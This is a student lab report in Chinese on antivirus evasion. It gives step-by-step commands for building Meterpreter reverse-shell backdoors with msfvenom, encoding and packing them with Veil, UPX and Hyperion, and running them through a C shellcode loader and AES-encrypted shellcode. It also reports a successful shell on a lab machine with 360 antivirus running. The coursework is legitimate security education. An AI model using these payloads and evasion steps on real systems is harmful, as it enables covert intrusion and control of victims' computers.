20222409 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 本周学习内容
1.1.1 后门工具使用
* Netcat: 用于端口探测、局域网通信、文件传输,以及正向和反向连接的测试。
* Meterpreter: 作为Metasploit框架中的载荷模块,常用于溢出攻击成功后的控制会话,提供持久化的控制通道。
* Veil-Evasion: Linux平台上的免杀工具,用于生成可绕过杀软检测的载荷。
1.1.2 用户态与内核态的切换
* 了解了用户态(Ring 3)与内核态(Ring 0)的区别及其切换时机(如系统调用和中断发生时)
1.1.3 进程隐藏与自启动技术
* 学习了进程隐藏技术,包括进程重命名、利用系统服务伪装以及API Hook实现
* 同时掌握了如何实现恶意进程的自启动。
1.1.4 杀软检测原理
* 进一步理解了杀软的检测机制:基于特征码、行为分析、启发式扫描和云检测等技术。
1.1.5 免杀技术与方法
* 掌握了免杀技术(Anti-AntiVirus)的多种实现方法(修改特征码、调整校验和、花指令混淆、加壳、内存免杀)。
1.2 实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.3 问题回答
1.3.1 杀软是如何检测出恶意代码的?
* 通过特征码匹配,检测文件是否包含已知恶意代码的独特特征码。
* 使用“行为分析”监测代码运行时的行为模式,比如反向连接、权限提升或文件修改等,判断其是否为恶意行为。
* 通过“启发式检测”,分析程序的结构和执行逻辑,对未知威胁进行智能判断。
* 结合“云检测”技术,将可疑文件上传至云端,由服务器进行实时分析和判别。
1.3.2 免杀是做什么?
* 通过各种技术手段使恶意代码避开杀软的检测,从而在系统中不被识别。
* 在渗透测试中用于确保攻击载荷能够在目标系统中稳定运行。
1.3.3 免杀的基本方法有哪些?
* 修改文件的“特征码”,如对恶意代码重新编译、编码、加密等,以避免直接匹配。
* 通过“加壳”压缩或加密文件,改变文件的静态结构,从而绕过简单的特征码检测。
* 利用“内存免杀”,将代码加载到内存中执行,避免在磁盘上留有明显痕迹。
* 插入无关代码或使用反混淆技术,通过“花指令”使代码逻辑复杂化,从而扰乱杀软的行为分析。
2.实验过程
本次实验旨在通过使用不同工具和技术实现恶意载荷的生成和免杀处理。以下是Windows和Linux端的IP地址信息:
- Windows端IP地址如图1所示,为:192.168.43.33。
- Linux端IP地址如图2所示,为:192.168.21.131。
图1:Windows端IP地址
图2:Linux端IP地址
2.1 使用msf编码器、Veil-Evasion和Shellcode编程实现基础免杀
2.1.1 使用msf编码器生成恶意载荷
首先,我们将使用Metasploit工具中的msfvenom生成一个基本的Meterpreter反向连接载荷。通过多次编码,我们可以初步提升免杀效果。
- 生成基础载荷
在此步骤中,我们将创建一个反向连接的载荷。实验命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f exe -o 20222409.exe
命令格式:
msfvenom -p <PAYLOAD> LHOST=<IP地址> LPORT=<端口> -f <文件格式> -o <输出文件>
后续如需生成.jar .php .py格式的文件,只需在文件格式处修改即可。
参数解释:
-p windows/meterpreter/reverse_tcp:指定Payload类型为Windows的Meterpreter反向TCP连接。
LHOST=192.168.21.131:监听主机IP(攻击者的IP)。
LPORT=2409:监听端口
-f exe:生成Windows可执行文件格式(.exe)。
-o 20222409.exe:输出文件名称为 20222409.exe。
命令作用:生成一个基础的Meterpreter反向连接载荷,以便在目标系统上运行并连接到攻击者的监听端。
结果如图3所示:
图3:生成的基础载荷
2 进行编码
为了进一步增强免杀效果,我们将对生成的载荷文件进行多次编码。此处使用编码器shikata_ga_nai对载荷进行多层编码处理。实验命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -e x86/shikata_ga_nai -i 1 -f exe -o 20222409_1.exe
命令格式:
msfvenom -p <PAYLOAD> LHOST=<IP地址> LPORT=<端口> -e <编码器> -i <编码次数> -f <文件格式> -o <输出文件>
如果需要修改编码次数,只需在编码次数部分进行相应的调整。
参数解释:
-e x86/shikata_ga_nai:指定使用 shikata_ga_nai 编码器对载荷编码,减少文件特征。
-i 1:指定编码的次数为1,增加编码深度。
命令作用:对初始生成的载荷进行1次编码,改变其二进制特征,提升免杀效果。
- 生成其他格式文件
除了直接生成 .exe 文件,还可以生成其他格式的后门文件,以适应不同的操作环境。以下是常用的几种文件格式及其生成命令:
# 多次编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -e x86/shikata_ga_nai -i 10 -f exe -o 20222409_2.exe
# Java (.jar)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f jar -o 20222409.jar
# PHP (.php)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f raw -o 20222409.php
# Python (.py)
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f raw -o 20222409.py
# Android (.apk)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -o 20222409.apk
- 检测结果
为了验证生成的免杀文件的效果,我们将以20222409.exe文件为例,详细介绍其传输和上传至VirusTotal检测的过程及结果分析。其他格式文件的传输过程类似,具体检测结果将汇总在表1中。
我们使用netcat将生成的20222409.exe文件从Linux虚拟机传输至Windows主机。以下是使用netcat传输文件的详细步骤,后续传输文件过程将省略:
打开Windows命令行窗口(如失败则以管理员身份运行),进入Netcat安装目录,然后输入以下指令以在指定端口上监听并接收文件:nc -l -p 2409 > 20222409.exe
linux终端下输入以下指令将生成的 20222409.exe 文件发送至Windows主机::
nc 192.168.43.33 2409 < 20222409.exe
执行完成后,Windows主机的Netcat所在目录下将出现 20222409.exe 文件。至此,文件成功传输至Windows主机。
将20222409.exe 文件上传至VirusTotal,观察检测率,结果如图4-1所示。
图4:20222409.exe的VirusTotal检测结果
其他文件检测结果如表1所示。图略,仅展示效果较好的.php和.py文件的检测截图:
图5-1:.php文件检测结果
图5-2:.py文件检测结果
免杀方式 | 文件名 | VirusTotal结果 |
---|---|---|
msfvenom直接生成 | 20222409.exe | 60/72 |
msfvenom编码一次 | 20222409_1.exe | 60/72 |
msfvenom多次编码 | 20222409_2.exe | 60/72 |
生成.jar后门文件 | 20222409.jar | 34/64 |
生成.php后门文件 | 20222409.php | 9/62 |
生成.py后门文件 | 20222409.py | 0/60 |
生成.apk后门文件 | 20222409.apk | 27/66 |
表1:不同免杀方式的VirusTotal检测结果
2.1.2 使用Veil-Evasion进行免杀处理
在多次编码的基础上,我们进一步使用Veil-Evasion工具生成不同语言的免杀载荷,以降低检测率。
2.1.2.1 安装和进入Veil-Evasion工具
- 更新Kali系统
sudo apt update && sudo apt upgrade -y
- 安装依赖项
sudo apt install -y git curl wine python3 python3-pip mingw-w64
命令解释:
git:用于克隆Veil代码库。
curl:用于从外部获取安装脚本或资源。
wine:帮助运行Windows可执行文件。
python3 和 python3-pip:用于运行Veil及其脚本。
mingw-w64:用于生成Windows可执行文件。
- 从GitHub克隆Veil代码库
git clone https://github.com/Veil-Framework/Veil.git
- 进入Veil目录并运行安装脚本
cd Veil
./config/setup.sh --force --silent
--force:强制安装,即使系统可能已有部分依赖项。
--silent:在不提示确认的情况下自动安装所有依赖项。
2.1.2.2 配置和生成免杀载荷
一旦我们成功安装了Veil-Evasion工具,就可以开始生成基于C语言的反向连接载荷。按顺序输入以下命令:
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.21.131
set LPORT 2409
generate
这段代码的作用是设置反向连接的参数并生成可执行文件。生成后的文件将会在特定的路径中保存。
根据路径/var/lib/veil/output/source/,我们可以找到生成的20222409_veil.exe文件。接下来,我们将使用netcat工具将文件从Linux主机传输到Windows主机,具体命令略,如图6所示:
图6:文件传输结果
2.1.2.3 加壳
为了进一步增强免杀效果,我们将对生成的可执行文件进行加壳处理。加壳技术可以有效隐藏恶意代码的特征,使其更难被检测到。
- 使用UPX加壳
输入以下命令对文件进行UPX加壳处理:
upx 20222409_veil.exe -o 20222409_veil_upx.exe
结果如图7所示
图7:UPX加壳结果
2. 使用Hyperion加壳
接下来,我们将使用Hyperion对UPX加壳后的文件进行进一步的处理。首先,将文件复制到Hyperion目录中:
cp 20222409_veil_upx.exe /usr/share/windows-resources/hyperion
在/usr/share/windows-resources/hyperion路径下,文件状态如图8所示:
图8:Hyperion文件状态
然后,使用Hyperion进行加壳处理:
wine hyperion.exe -v 20222409_veil_upx.exe 20222409_veil_upx_hyperion.exe
2.1.2.4 检测生成结果
我们对UPX和Hyperion加壳后的文件进行检测,结果如图9-1和图9-2所示:
图9-1:UPX加壳检测结果
图9-2:Hyperion加壳检测结果
2.1.3 使用C语言和Shellcode编程进行免杀
首先,我们使用msfvenom生成C语言格式的Shellcode,命令如下:
2.1.3.1 生成Shellcode
通过 msfvenom 生成C格式的Shellcode,并嵌入到C语言代码中,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2409 -f c -o shellcode_2409.c
命令格式:
msfvenom -p <PAYLOAD> LHOST=<IP地址> LPORT=<端口> -f c -o <输出文件>
参数解释:
-f c:将生成的Shellcode输出为C语言格式。
-o shellcode_2409.c:将输出文件命名为 shellcode_2409.c。
2.1.3.2 嵌入Shellcode并编写C代码
接下来,我们将编辑生成的Shellcode文件,嵌入自定义的C代码。使用以下指令编辑shellcode_2409.c文件:
vi shellcode_2409.c
在编辑模式下,在buf字符串后面添加以下内容:
int main(){
int(*func)()=(int(*)())buf;
func();
}
2.1.3.3 编译生成可执行文件
使用命令编译shellcode_2409.c文件,生成相应的.exe文件
i686-w64-mingw32-g++ 20212416xxn.c -o xxn_shellcode.exe
这一段代码将使得我们生成的Shellcode能够在运行时被调用。
2.1.3.4 上传检测
最后,我们将生成的可执行文件进行检测,结果如图10所示:
图10:Shellcode的VirusTotal检测结果
2.2 组合多种技术实现恶意代码免杀
在本实验的后期,我们将不同的免杀技术结合使用,以实现更高效的恶意代码免杀效果。请按以下步骤操作:
veil
use evasion
list
use 2
use 29
generate
2
图11:use 29命令时的情景
如图11所示,在进入Veil-Evasion工具后,呈现在我们眼前的是可用的Payload类型列表。在列表中,我们选择第29项python/shellcode_inject/aes_encrypt.py。
这一选项的作用是利用AES加密算法来加密生成的Shellcode,并在运行时解密执行,以此来避免静态病毒检测技术的识别。这种方式通过对恶意代码的加密隐藏了恶意指令的特征码,从而能够有效提升免杀效果。
图12:generate、2命令时的情景
在图12中,我们可以看到具体的生成过程。
在本实验中,我们选择了选项2,即使用MSFvenom生成Shellcode。该方式允许我们借助Metasploit框架生成符合需求的Shellcode,并直接在Veil中使用,以便最大化兼容性和功能支持。
选定MSFvenom后,程序提示我们输入生成Shellcode所需的各项参数:
- Payload:我们输入windows/meterpreter/reverse_tcp,指定生成Windows系统下的反向TCP连接Meterpreter载荷。
- LHOST:攻击者的IP地址,此处为192.168.56.105。
- LPORT:监听端口号,此处为2409。
检测结果如图13所示,可见效果不错:
图13:组合技术检测结果
此外,通过360扫描20222409_CombinedTech.py所在文件夹,未发现病毒,如图14所示:
图14:360扫描结果
可以说,在本次实验中,借助Veil-Evasion工具和MSFvenom生成Shellcode,再结合AES加密技术,我们成功生成了一个具有较高免杀能力的恶意载荷。VirusTotal的检测显示,大部分主流引擎未能识别出该加密Shellcode的特征。
2.3 在开启杀软的电脑上验证免杀效果
为了进一步验证载荷的隐蔽性和免杀能力,我们在一台开启了360杀毒软件的Windows计算机上执行了此次实验。在这种环境下运行恶意载荷,可以真实地评估其在防护软件监控下的表现。
2.3.1 准备Shellcode载荷
- 生成Shellcode并编码
使用以下命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b '\x00' lhost=192.168.56.105 lport=2409 -f raw -o 20222409_AnotherComputer.raw
生成的Shellcode文件20222409_AnotherComputer.raw将在后续步骤中使用。检测结果如图15所示:
virustotal检测结果如图15所示:
图15:
2.3.2 启动监听并执行Shellcode
接下来,我们在攻击者机器(Kali Linux)上配置并启动监听,等待目标机器上的反向连接。
- 启动监听
输入以下命令:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.105
set LPORT 2409
exploit
- 在Windows目标机上执行Shellcode
在Windows端,我们需要调用shellcode_launcher程序并加载生成的Shellcode文件。首先,进入Shellcode文件所在目录,然后执行以下命令:
shellcode_launcher.exe -i 20222409_AnotherComputer.raw
- 验证连接结果
在Kali端的Metasploit控制台中,当目标主机成功连接回监听端口时,我们可以获得目标主机的Meterpreter会话。即便在360杀毒软件开启的情况下,仍然成功建立了Shell(ls命令成功)并获取了目标主机的控制权。这说明在多次编码和加载器的支持下,生成的Shellcode具备较高的隐蔽性,能够绕过防护软件的检测。具体结果如图16所示:
图16:在360杀毒软件开启情况下成功获得主机Shell
3.问题及解决方案
- 问题1:Veil安装过程中遇到依赖兼容性问题,无法安装Wine32
- 问题1解决方案:在安装Veil时,执行sudo apt-get install wine32命令报错,原因是Kali Linux默认仅支持64位架构,而Veil的依赖需要32位支持。为解决这一问题,先运行dpkg --add-architecture i386命令为系统添加32位架构支持,然后更新系统apt-get update并重新执行sudo apt-get install wine32安装Wine32依赖。完成以上步骤后,重新运行Veil的安装命令/usr/share/veil/config/setup.sh --force --silent,安装成功。
4.学习感悟、思考等
在本次实验中,通过深入探索各种免杀技术及其实现方法,我对恶意代码的生成和传输有了更深的理解。尤其是通过使用msfvenom和veil-evasion工具,观察到不同编码和加壳策略对文件特征的影响,这让我意识到攻击者在设计恶意软件时的思维方式。实验中,针对不同平台的payload生成,以及对各种格式的支持,使我体会到技术的多样性和复杂性。此外,通过将shellcode嵌入自定义C程序,进一步增强了免杀效果,展示了编程与安全的结合如何带来新的可能性。这样的实践不仅提升了我的技术能力,还激发了对网络安全攻防技术更深入的思考,使我更加关注系统防御的必要性和多样化的应对策略。